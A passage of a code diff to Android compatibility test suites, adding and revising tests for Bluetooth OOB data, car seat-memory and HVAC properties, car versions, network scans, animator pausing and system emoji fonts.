+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/OobDataTest.java
@@ -18,11 +18,12 @@
 
 import static android.bluetooth.cts.TestUtils.assertArrayEquals;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import android.bluetooth.OobData;
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
-import java.util.Arrays;
 
 public class OobDataTest extends AndroidTestCase {
 
@@ -177,4 +178,59 @@
         assertArrayEquals(leTemporaryKey, leData.getLeTemporaryKey());
         assertEquals(OobData.LE_FLAG_BREDR_NOT_SUPPORTED, leData.getLeFlags());
     }
+
+    public void testToString() {
+        byte[] confirmationHash = new byte[]{0x52, 0x70, 0x49, 0x41, 0x1A, (byte) 0xB3, 0x3F, 0x5C,
+                (byte) 0xE0, (byte) 0x99, 0x37, 0x29, 0x21, 0x52, 0x65, 0x49};
+        byte[] address = new byte[]{0x12, 0x34, 0x56, 0x78, (byte) 0x8A, (byte) 0xBC, 0x0};
+
+        OobData.LeBuilder leBuilder = new OobData.LeBuilder(confirmationHash, address,
+                OobData.LE_DEVICE_ROLE_PERIPHERAL_ONLY);
+
+        String deviceNameString = "Test Device Name";
+        byte[] deviceName = deviceNameString.getBytes();
+        byte[] randomizerHash = new byte[]{(byte) 0x9E, 0x43, 0x51, 0x10, 0x70, 0x33, 0x01,
+                (byte) 0xDE, 0x00, 0x02, 0x03, 0x05, 0x09, 0x10, 0x40, 0x07};
+        byte[] leTemporaryKey = new byte[]{0x01, 0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC,
+                (byte) 0xDE, (byte) 0xF0, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77};
+
+        leBuilder
+                .setDeviceName(deviceName)
+                .setRandomizerHash(randomizerHash)
+                .setLeTemporaryKey(leTemporaryKey)
+                .setLeFlags(OobData.LE_FLAG_BREDR_NOT_SUPPORTED);
+        OobData leData = leBuilder.build();
+
+        String expected = "OobData: \n\t"
+                + "Device Address With Type: "
+                + toHexString(leData.getDeviceAddressWithType()) + "\n\t"
+                + "Confirmation: " + toHexString(leData.getConfirmationHash()) + "\n\t"
+                + "Randomizer: " + toHexString(leData.getRandomizerHash()) + "\n\t"
+                + "Device Name: " + toHexString(leData.getDeviceName()) + "\n\t"
+                + "OobData Length: " + toHexString(leData.getClassicLength()) + "\n\t"
+                + "Class of Device: " + toHexString(leData.getClassOfDevice()) + "\n\t"
+                + "LE Device Role: " + toHexString(leData.getLeDeviceRole()) + "\n\t"
+                + "LE Temporary Key: " + toHexString(leData.getLeTemporaryKey()) + "\n\t"
+                + "LE Appearance: " + toHexString(leData.getLeAppearance()) + "\n\t"
+                + "LE Flags: " + toHexString(leData.getLeFlags()) + "\n\t";
+        String toString = leData.toString();
+
+        assertThat(toString).isEqualTo(expected);
+
+        int describeContents = 0;
+        assertThat(leData.describeContents()).isEqualTo(describeContents);
+    }
+
+    private String toHexString(int b) {
+        return toHexString(new byte[]{(byte) b});
+    }
+
+    private String toHexString(byte[] array) {
+        if (array == null) return "null";
+        StringBuilder builder = new StringBuilder(array.length * 2);
+        for (byte b : array) {
+            builder.append(String.format("%02x", b));
+        }
+        return builder.toString();
+    }
 }
diff --git a/tests/tests/car/AndroidManifest.xml b/tests/tests/car/AndroidManifest.xml
index 06c83bd..89a270d 100644
--- a/tests/tests/car/AndroidManifest.xml
+++ b/tests/tests/car/AndroidManifest.xml
@@ -25,6 +25,7 @@
     <uses-permission android:name="android.car.permission.CAR_SPEED" />
     <uses-permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS" />
     <uses-permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS" />
+    <uses-permission android:name="android.car.permission.CAR_TEST_SERVICE" />
     <uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY" />
     <uses-permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 99e1af0..a1707c2 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -1714,6 +1714,90 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig"})
+    public void testSeatMemorySelectIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_MEMORY_SELECT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().requireMinValuesToBeZero()
+                    .setCarPropertyConfigVerifier(carPropertyConfig -> {
+                        int[] areaIds = carPropertyConfig.getAreaIds();
+                        CarPropertyConfig<?> seatMemorySetCarPropertyConfig =
+                                mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.SEAT_MEMORY_SET);
+
+                        assertWithMessage("SEAT_MEMORY_SET must be implemented if "
+                                + "SEAT_MEMORY_SELECT is implemented").that(
+                                        seatMemorySetCarPropertyConfig).isNotNull();
+
+                        assertWithMessage("SEAT_MEMORY_SELECT area IDs must match the area IDs of "
+                                + "SEAT_MEMORY_SET").that(Arrays.stream(areaIds).boxed().collect(
+                                        Collectors.toList()))
+                                .containsExactlyElementsIn(Arrays.stream(
+                                        seatMemorySetCarPropertyConfig.getAreaIds()).boxed()
+                                        .collect(Collectors.toList()));
+
+                        for (int areaId : areaIds) {
+                            Integer seatMemorySetAreaIdMaxValue =
+                                    (Integer) seatMemorySetCarPropertyConfig.getMaxValue(areaId);
+                            assertWithMessage("SEAT_MEMORY_SET - area ID: " + areaId
+                                    + " must have max value defined")
+                                    .that(seatMemorySetAreaIdMaxValue).isNotNull();
+                            assertWithMessage("SEAT_MEMORY_SELECT - area ID: " + areaId
+                                    + "'s max value must be equal to SEAT_MEMORY_SET's max value"
+                                    + " under the same area ID")
+                                    .that(seatMemorySetAreaIdMaxValue)
+                                    .isEqualTo(carPropertyConfig.getMaxValue(areaId));
+                        }
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig"})
+    public void testSeatMemorySetIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_CONTROL_CAR_SEATS, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.SEAT_MEMORY_SET,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Integer.class).requireMinMaxValues().requireMinValuesToBeZero()
+                    .setCarPropertyConfigVerifier(carPropertyConfig -> {
+                        int[] areaIds = carPropertyConfig.getAreaIds();
+                        CarPropertyConfig<?> seatMemorySelectCarPropertyConfig =
+                                mCarPropertyManager.getCarPropertyConfig(
+                                        VehiclePropertyIds.SEAT_MEMORY_SELECT);
+
+                        assertWithMessage("SEAT_MEMORY_SELECT must be implemented if "
+                                + "SEAT_MEMORY_SET is implemented").that(
+                                seatMemorySelectCarPropertyConfig).isNotNull();
+
+                        assertWithMessage("SEAT_MEMORY_SET area IDs must match the area IDs of "
+                                + "SEAT_MEMORY_SELECT").that(Arrays.stream(areaIds).boxed().collect(
+                                        Collectors.toList()))
+                                .containsExactlyElementsIn(Arrays.stream(
+                                        seatMemorySelectCarPropertyConfig.getAreaIds()).boxed()
+                                        .collect(Collectors.toList()));
+
+                        for (int areaId : areaIds) {
+                            Integer seatMemorySelectAreaIdMaxValue =
+                                    (Integer) seatMemorySelectCarPropertyConfig.getMaxValue(areaId);
+                            assertWithMessage("SEAT_MEMORY_SELECT - area ID: " + areaId
+                                    + " must have max value defined")
+                                    .that(seatMemorySelectAreaIdMaxValue).isNotNull();
+                            assertWithMessage("SEAT_MEMORY_SET - area ID: " + areaId
+                                    + "'s max value must be equal to SEAT_MEMORY_SELECT's max value"
+                                    + " under the same area ID")
+                                    .that(seatMemorySelectAreaIdMaxValue)
+                                    .isEqualTo(carPropertyConfig.getMaxValue(areaId));
+                        }
+                    }).build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
     @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
             "android.car.hardware.property.CarPropertyManager#getProperty",
             "android.car.hardware.property.CarPropertyManager#setProperty",
@@ -2199,14 +2283,22 @@
                                     powerDependentProperty)).that(
                             powerDependentCarPropertyConfig.getAreaType()).isEqualTo(
                             VehicleAreaType.VEHICLE_AREA_TYPE_SEAT);
-                    assertWithMessage(
-                            "HVAC_POWER_ON's area IDs must match the area IDs of power dependent "
-                                    + "property: " + VehiclePropertyIds.toString(
-                                    powerDependentProperty)).that(Arrays.stream(
-                            powerDependentCarPropertyConfig.getAreaIds()).boxed().collect(
-                            Collectors.toList())).containsExactlyElementsIn(Arrays.stream(
-                            hvacPowerOnCarPropertyConfig.getAreaIds()).boxed().collect(
-                            Collectors.toList()));
+                    for (int powerDependentAreaId : powerDependentCarPropertyConfig.getAreaIds()) {
+                        boolean powerDependentAreaIdIsContained = false;
+                        for (int hvacPowerOnAreaId : hvacPowerOnCarPropertyConfig.getAreaIds()) {
+                            if ((powerDependentAreaId & hvacPowerOnAreaId)
+                                    == powerDependentAreaId) {
+                                powerDependentAreaIdIsContained = true;
+                                break;
+                            }
+                        }
+                        assertWithMessage(
+                                "HVAC_POWER_ON's area IDs must contain the area IDs"
+                                        + " of power dependent property: "
+                                        + VehiclePropertyIds.toString(
+                                        powerDependentProperty)).that(
+                                        powerDependentAreaIdIsContained).isTrue();
+                    }
                 }
             }).build().verify(mCarPropertyManager);
         });
diff --git a/tests/tests/car/src/android/car/cts/CarVersionTest.java b/tests/tests/car/src/android/car/cts/CarVersionTest.java
index 4317a0b..8ce6681 100644
--- a/tests/tests/car/src/android/car/cts/CarVersionTest.java
+++ b/tests/tests/car/src/android/car/cts/CarVersionTest.java
@@ -94,6 +94,38 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.car.CarVersion.VERSION_CODES#TIRAMISU_2"})
+    public void testTiramisu_2() {
+        CarVersion version = CarVersion.VERSION_CODES.TIRAMISU_2;
+
+        assertWithMessage("TIRAMISU_2").that(version).isNotNull();
+        expectWithMessage("TIRAMISU_2.major").that(version.getMajorVersion())
+                .isEqualTo(TIRAMISU);
+        expectWithMessage("TIRAMISU_2.minor").that(version.getMinorVersion())
+                .isEqualTo(2);
+
+        CarVersion fromEnum = ApiRequirements.CarVersion.TIRAMISU_2.get();
+        assertWithMessage("TIRAMISU_2 from enum").that(fromEnum).isNotNull();
+        expectWithMessage("TIRAMISU_2 from enum").that(fromEnum).isSameInstanceAs(version);
+
+        String toString = version.toString();
+        expectWithMessage("TIRAMISU_2.toString()").that(toString)
+                .matches(".*CarVersion.*name=TIRAMISU_2.*major=" + TIRAMISU + ".*minor=2.*");
+        CarVersion clone = clone(version);
+        expectWithMessage("TIRAMISU_2.toString() from parcel").that(clone.toString())
+                .isEqualTo(toString);
+
+        CarVersion anonymous = CarVersion.forMajorAndMinorVersions(version.getMajorVersion(),
+                version.getMinorVersion());
+        expectWithMessage("TIRAMISU_2").that(version).isEqualTo(anonymous);
+        expectWithMessage("anonymous").that(anonymous).isEqualTo(version);
+        expectWithMessage("TIRAMISU_2's hashcode").that(version.hashCode())
+                .isEqualTo(anonymous.hashCode());
+        expectWithMessage("anonymous' hashcode").that(anonymous.hashCode())
+                .isEqualTo(version.hashCode());
+    }
+
+    @Test
     @ApiTest(apis = {"android.car.CarVersion#CREATOR"})
     public void testMarshalling() {
         CarVersion original = CarVersion.forMajorAndMinorVersions(66, 6);
diff --git a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
index e58aa1f..6b1869c 100644
--- a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
+++ b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
@@ -91,6 +91,7 @@
     private final Optional<ConfigArrayVerifier> mConfigArrayVerifier;
     private final Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier;
     private final Optional<AreaIdsVerifier> mAreaIdsVerifier;
+    private final Optional<CarPropertyConfigVerifier> mCarPropertyConfigVerifier;
     private final ImmutableSet<Integer> mPossibleConfigArrayValues;
     private final ImmutableSet<T> mPossibleCarPropertyValues;
     private final boolean mRequirePropertyValueToBeInConfigArray;
@@ -105,6 +106,7 @@
             Optional<ConfigArrayVerifier> configArrayVerifier,
             Optional<CarPropertyValueVerifier> carPropertyValueVerifier,
             Optional<AreaIdsVerifier> areaIdsVerifier,
+            Optional<CarPropertyConfigVerifier> carPropertyConfigVerifier,
             ImmutableSet<Integer> possibleConfigArrayValues,
             ImmutableSet<T> possibleCarPropertyValues,
             boolean requirePropertyValueToBeInConfigArray,
@@ -123,6 +125,7 @@
         mConfigArrayVerifier = configArrayVerifier;
         mCarPropertyValueVerifier = carPropertyValueVerifier;
         mAreaIdsVerifier = areaIdsVerifier;
+        mCarPropertyConfigVerifier = carPropertyConfigVerifier;
         mPossibleConfigArrayValues = possibleConfigArrayValues;
         mPossibleCarPropertyValues = possibleCarPropertyValues;
         mRequirePropertyValueToBeInConfigArray = requirePropertyValueToBeInConfigArray;
@@ -203,7 +206,8 @@
                     carPropertyManager.getCarPropertyConfig(VehiclePropertyIds.HVAC_POWER_ON);
             if (hvacPowerOnCarPropertyConfig != null
                     && hvacPowerOnCarPropertyConfig.getConfigArray().contains(mPropertyId)) {
-                turnOnHvacPower(carPropertyManager, hvacPowerOnCarPropertyConfig);
+                turnOnHvacPower(carPropertyManager,
+                        (CarPropertyConfig<Boolean>) hvacPowerOnCarPropertyConfig);
             }
         }
 
@@ -213,20 +217,20 @@
     }
 
     private void turnOnHvacPower(CarPropertyManager carPropertyManager,
-            CarPropertyConfig<?> hvacPowerOnCarPropertyConfig) {
+            CarPropertyConfig<Boolean> hvacPowerOnCarPropertyConfig) {
         for (int areaId : hvacPowerOnCarPropertyConfig.getAreaIds()) {
             if (carPropertyManager.getProperty(VehiclePropertyIds.HVAC_POWER_ON,
                     areaId).getValue().equals(true)) {
                 continue;
             }
-            verifySetProperty((CarPropertyConfig<Boolean>) hvacPowerOnCarPropertyConfig,
-                    carPropertyManager, areaId, Boolean.TRUE);
+            setPropertyAndWaitForChange(carPropertyManager, VehiclePropertyIds.HVAC_POWER_ON,
+                    hvacPowerOnCarPropertyConfig.getPropertyType(), areaId, Boolean.TRUE);
         }
     }
 
     private void verifyCarPropertyValueSetter(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
-        if (carPropertyConfig.getAccess() == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ) {
+        if (carPropertyConfig.getAccess() != CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ_WRITE) {
             return;
         }
         if (Boolean.class.equals(carPropertyConfig.getPropertyType())) {
@@ -278,7 +282,7 @@
     private void verifySetterWithMinMaxValues(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
         for (int areaId : carPropertyConfig.getAreaIds()) {
-            if (carPropertyConfig.getMinValue(areaId) == null || carPropertyConfig.getMinValue(
+            if (carPropertyConfig.getMinValue(areaId) == null || carPropertyConfig.getMaxValue(
                     areaId) == null) {
                 continue;
             }
@@ -304,29 +308,25 @@
 
     private <T> void verifySetProperty(CarPropertyConfig<T> carPropertyConfig,
             CarPropertyManager carPropertyManager, int areaId, T valueToSet) {
-        CarPropertyValue<T> currentCarPropertyValue = carPropertyManager.getProperty(
-                mPropertyId, areaId);
+        CarPropertyValue<T> currentCarPropertyValue = carPropertyManager.getProperty(mPropertyId,
+                areaId);
         verifyCarPropertyValue(carPropertyConfig, currentCarPropertyValue, areaId,
                 CAR_PROPERTY_VALUE_SOURCE_GETTER);
         if (valueEquals(valueToSet, currentCarPropertyValue.getValue())) {
             return;
         }
-        SetterCallback setterCallback = new SetterCallback(mPropertyId, mPropertyName, areaId,
+        CarPropertyValue<T> updatedCarPropertyValue = setPropertyAndWaitForChange(
+                carPropertyManager, mPropertyId, carPropertyConfig.getPropertyType(), areaId,
                 valueToSet);
-        assertWithMessage("Failed to register setter callback for " + mPropertyName).that(
-                carPropertyManager.registerCallback(setterCallback, mPropertyId,
-                        CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
-        carPropertyManager.setProperty(carPropertyConfig.getPropertyType(), mPropertyId, areaId,
-                valueToSet);
-        CarPropertyValue<?> updatedCarPropertyValue =
-                setterCallback.waitForUpdatedCarPropertyValue();
         verifyCarPropertyValue(carPropertyConfig, updatedCarPropertyValue, areaId,
                 CAR_PROPERTY_VALUE_SOURCE_CALLBACK);
-        carPropertyManager.unregisterCallback(setterCallback, mPropertyId);
     }
 
     private void verifyCarPropertyValueCallback(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
+        if (carPropertyConfig.getAccess() == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE) {
+            return;
+        }
         int updatesPerAreaId = 1;
         long timeoutMillis = 1500;
         if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
@@ -393,9 +393,8 @@
                 carPropertyConfig.getAreaIds())).that(ImmutableSet.copyOf(Arrays.stream(
                 carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList())).size()
                 == carPropertyConfig.getAreaIds().length).isTrue();
-        if (mAreaIdsVerifier.isPresent()) {
-            mAreaIdsVerifier.get().verify(carPropertyConfig.getAreaIds());
-        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
+
+        if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL) {
             assertWithMessage(
                     mPropertyName + "'s AreaIds must contain a single 0 since it is "
                             + areaTypeToString(mAreaType))
@@ -409,10 +408,14 @@
         } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_MIRROR) {
             verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_MIRROR_AREA_IDS);
             verifyNoAreaOverlapInAreaIds(carPropertyConfig, MIRROR_AREAS);
-        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_SEAT) {
+        } else if (mAreaType == VehicleAreaType.VEHICLE_AREA_TYPE_SEAT
+                && mPropertyId != VehiclePropertyIds.INFO_DRIVER_SEAT) {
             verifyValidAreaIdsForAreaType(carPropertyConfig, ALL_POSSIBLE_SEAT_AREA_IDS);
             verifyNoAreaOverlapInAreaIds(carPropertyConfig, SEAT_AREAS);
         }
+        if (mAreaIdsVerifier.isPresent()) {
+            mAreaIdsVerifier.get().verify(carPropertyConfig.getAreaIds());
+        }
 
         if (mChangeMode == CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_CONTINUOUS) {
             verifyContinuousCarPropertyConfig(carPropertyConfig);
@@ -420,6 +423,9 @@
             verifyNonContinuousCarPropertyConfig(carPropertyConfig);
         }
 
+        mCarPropertyConfigVerifier.ifPresent(carPropertyConfigVerifier ->
+                carPropertyConfigVerifier.verify(carPropertyConfig));
+
         if (!mPossibleConfigArrayValues.isEmpty()) {
             assertWithMessage(
                     mPropertyName + " configArray must specify supported values")
@@ -525,6 +531,9 @@
 
     private void verifyCarPropertyValueGetter(CarPropertyConfig<?> carPropertyConfig,
             CarPropertyManager carPropertyManager) {
+        if (carPropertyConfig.getAccess() == CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_WRITE) {
+            return;
+        }
         for (int areaId : carPropertyConfig.getAreaIds()) {
             CarPropertyValue<?> carPropertyValue =
                     carPropertyManager.getProperty(
@@ -684,6 +693,10 @@
         void verify(int[] areaIds);
     }
 
+    public interface CarPropertyConfigVerifier {
+        void verify(CarPropertyConfig<?> carPropertyConfig);
+    }
+
     public static class Builder<T> {
         private final int mPropertyId;
         private final int mAccess;
@@ -694,6 +707,7 @@
         private Optional<ConfigArrayVerifier> mConfigArrayVerifier = Optional.empty();
         private Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier = Optional.empty();
         private Optional<AreaIdsVerifier> mAreaIdsVerifier = Optional.empty();
+        private Optional<CarPropertyConfigVerifier> mCarPropertyConfigVerifier = Optional.empty();
         private ImmutableSet<Integer> mPossibleConfigArrayValues = ImmutableSet.of();
         private ImmutableSet<T> mPossibleCarPropertyValues = ImmutableSet.of();
         private boolean mRequirePropertyValueToBeInConfigArray = false;
@@ -733,6 +747,12 @@
             return this;
         }
 
+        public Builder<T> setCarPropertyConfigVerifier(
+                CarPropertyConfigVerifier carPropertyConfigVerifier) {
+            mCarPropertyConfigVerifier = Optional.of(carPropertyConfigVerifier);
+            return this;
+        }
+
         public Builder<T> setPossibleConfigArrayValues(
                 ImmutableSet<Integer> possibleConfigArrayValues) {
             mPossibleConfigArrayValues = possibleConfigArrayValues;
@@ -778,11 +798,11 @@
         public VehiclePropertyVerifier<T> build() {
             return new VehiclePropertyVerifier<>(mPropertyId, mAccess, mAreaType, mChangeMode,
                     mPropertyType, mRequiredProperty, mConfigArrayVerifier,
-                    mCarPropertyValueVerifier, mAreaIdsVerifier, mPossibleConfigArrayValues,
-                    mPossibleCarPropertyValues, mRequirePropertyValueToBeInConfigArray,
-                    mVerifySetterWithConfigArrayValues, mRequireMinMaxValues,
-                    mRequireMinValuesToBeZero, mRequireZeroToBeContainedInMinMaxRanges,
-                    mPossiblyDependentOnHvacPowerOn);
+                    mCarPropertyValueVerifier, mAreaIdsVerifier, mCarPropertyConfigVerifier,
+                    mPossibleConfigArrayValues, mPossibleCarPropertyValues,
+                    mRequirePropertyValueToBeInConfigArray, mVerifySetterWithConfigArrayValues,
+                    mRequireMinMaxValues, mRequireMinValuesToBeZero,
+                    mRequireZeroToBeContainedInMinMaxRanges, mPossiblyDependentOnHvacPowerOn);
         }
     }
 
@@ -873,9 +893,9 @@
         private final long mCreationTimeNanos = SystemClock.elapsedRealtimeNanos();
         private CarPropertyValue<?> mUpdatedCarPropertyValue = null;
 
-        SetterCallback(int propertyId, String propertyName, int areaId, T expectedSetValue) {
+        SetterCallback(int propertyId, int areaId, T expectedSetValue) {
             mPropertyId = propertyId;
-            mPropertyName = propertyName;
+            mPropertyName = VehiclePropertyIds.toString(propertyId);
             mAreaId = areaId;
             mExpectedSetValue = expectedSetValue;
         }
@@ -919,4 +939,17 @@
     private static boolean floatEquals(float f1, float f2) {
         return Math.abs(f1 - f2) < FLOAT_INEQUALITY_THRESHOLD;
     }
+
+    private static <U> CarPropertyValue<U> setPropertyAndWaitForChange(
+            CarPropertyManager carPropertyManager, int propertyId, Class<U> propertyType,
+            int areaId, U valueToSet) {
+        SetterCallback setterCallback = new SetterCallback(propertyId, areaId, valueToSet);
+        assertWithMessage("Failed to register setter callback for " + VehiclePropertyIds.toString(
+                propertyId)).that(carPropertyManager.registerCallback(setterCallback, propertyId,
+                CarPropertyManager.SENSOR_RATE_FASTEST)).isTrue();
+        carPropertyManager.setProperty(propertyType, propertyId, areaId, valueToSet);
+        CarPropertyValue<U> carPropertyValue = setterCallback.waitForUpdatedCarPropertyValue();
+        carPropertyManager.unregisterCallback(setterCallback, propertyId);
+        return carPropertyValue;
+    }
 }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 36c1217..de74595 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -390,6 +390,34 @@
     }
 
     @Test
+    public void testRequestNetworkScanWithRenounceWithoutChannels() {
+        boolean isLocationSwitchOn = getAndSetLocationSwitch(true);
+        try {
+            mNetworkScanRequest = buildNetworkScanRequest(/*includeBandsAndChannels=*/false);
+            mNetworkScanCallback = new NetworkScanCallbackImpl();
+            Message startNetworkScan = mHandler.obtainMessage(EVENT_NETWORK_SCAN_RENOUNCE_START,
+                    false);
+            setReady(false);
+            startNetworkScan.sendToTarget();
+            waitUntilReady();
+
+            Log.d(TAG, "mNetworkScanStatus: " + mNetworkScanStatus);
+            assertWithMessage(
+                    "The final scan status is "
+                            + mNetworkScanStatus
+                            + " with error code "
+                            + mErrorCode
+                            + ", not ScanCompleted"
+                            + " or ScanError with an error code ERROR_MODEM_UNAVAILABLE or"
+                            + " ERROR_UNSUPPORTED")
+                    .that(isScanStatusValid())
+                    .isTrue();
+        } finally {
+            getAndSetLocationSwitch(isLocationSwitchOn);
+        }
+    }
+
+    @Test
     public void testRequestNetworkScanLocationOffPass() {
         requestNetworkScanLocationOffHelper(false, true);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 6d375a6..cee80cf 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -56,6 +56,7 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.PendingIntent;
+import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -525,6 +526,16 @@
         results = pi.queryIntentComponents(0);
         assertEquals(1, results.size());
         mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+
+        intent = new Intent();
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.setComponent(
+                new ComponentName("android", "com.android.internal.app.ResolverActivity"));
+        try {
+            mContext.startActivity(intent);
+        } catch (ActivityNotFoundException ignore) {
+
+        }
     }
 
     private void checkActivityInfoName(String expectedName, List<ResolveInfo> resolves) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/AnimatorLeakTest.java b/tests/tests/graphics/src/android/graphics/cts/AnimatorLeakTest.java
index b21edd5..3b92c16 100644
--- a/tests/tests/graphics/src/android/graphics/cts/AnimatorLeakTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/AnimatorLeakTest.java
@@ -31,6 +31,7 @@
 import junit.framework.Assert;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -53,10 +54,17 @@
     boolean mFinitePaused = false;
     boolean mFinitePausedSet = false;
     boolean mResumed = false;
+    long mDefaultAnimatorPauseDelay = 10000L;
+
+    @Before
+    public void setup() {
+        mDefaultAnimatorPauseDelay = Animator.getBackgroundPauseDelay();
+    }
 
     @After
     public void cleanup() {
         Animator.setAnimatorPausingEnabled(true);
+        Animator.setBackgroundPauseDelay(mDefaultAnimatorPauseDelay);
     }
 
     /**
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java b/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java
index 5ee0912..fcaab4bc0 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java
@@ -90,50 +90,4 @@
         }
         return null;
     }
-
-    public static boolean containsEmojiCompatMetadata(File file) throws IOException {
-        try (FileInputStream fis = new FileInputStream(file)) {
-            final FileChannel fc = fis.getChannel();
-            long size = fc.size();
-            ByteBuffer buffer = fc.map(FileChannel.MapMode.READ_ONLY, 0, size)
-                    .order(ByteOrder.BIG_ENDIAN);
-
-            int magicNumber = buffer.getInt(0);
-
-            int fontOffset = 0;
-            if (magicNumber == TTC_TAG) {
-                throw new IOException("Emoji font is not expected to be in a font collection.");
-            } else if (magicNumber != SFNT_VERSION_1 && magicNumber != SFNT_VERSION_OTTO) {
-                throw new IOException("Unknown magic number: #" + magicNumber);
-            }
-
-            int numTables = buffer.getShort(fontOffset + 4);  // offset to number of table
-            int metaTableOffset = 0;
-            for (int i = 0; i < numTables; ++i) {
-                int tableEntryOffset = fontOffset + 12 + i * 16;
-                int tableTag = buffer.getInt(tableEntryOffset);
-                if (tableTag == META_TAG) {
-                    metaTableOffset = buffer.getInt(tableEntryOffset + 8);
-                    break;
-                }
-            }
-
-            if (metaTableOffset == 0) {
-                throw new IOException("name table not found.");
-            }
-
-            int dataMapsCount = buffer.getInt(metaTableOffset + 12);
-
-            for (int i = 0; i < dataMapsCount; ++i) {
-                int tag = buffer.getInt(metaTableOffset + 16 + 12 * i);
-                int offset = buffer.getInt(metaTableOffset + 16 + 12 * i + 4);
-                int dataLength = buffer.getInt(metaTableOffset + 16 + 12 * i + 8);
-
-                if (tag == EMJI_TAG && dataLength != 0) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemEmojiTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemEmojiTest.java
index bc52867..735018f 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemEmojiTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemEmojiTest.java
@@ -46,8 +46,6 @@
         // NotoColorEmoji.ttf should be always available as a fallback font even if another emoji
         // font files are installed in the system.
         assertThat(emojiFont).isNotNull();
-
-        assertThat(FontFileTestUtil.containsEmojiCompatMetadata(emojiFont)).isTrue();
     }
 
     public String getFontName(String chars) {
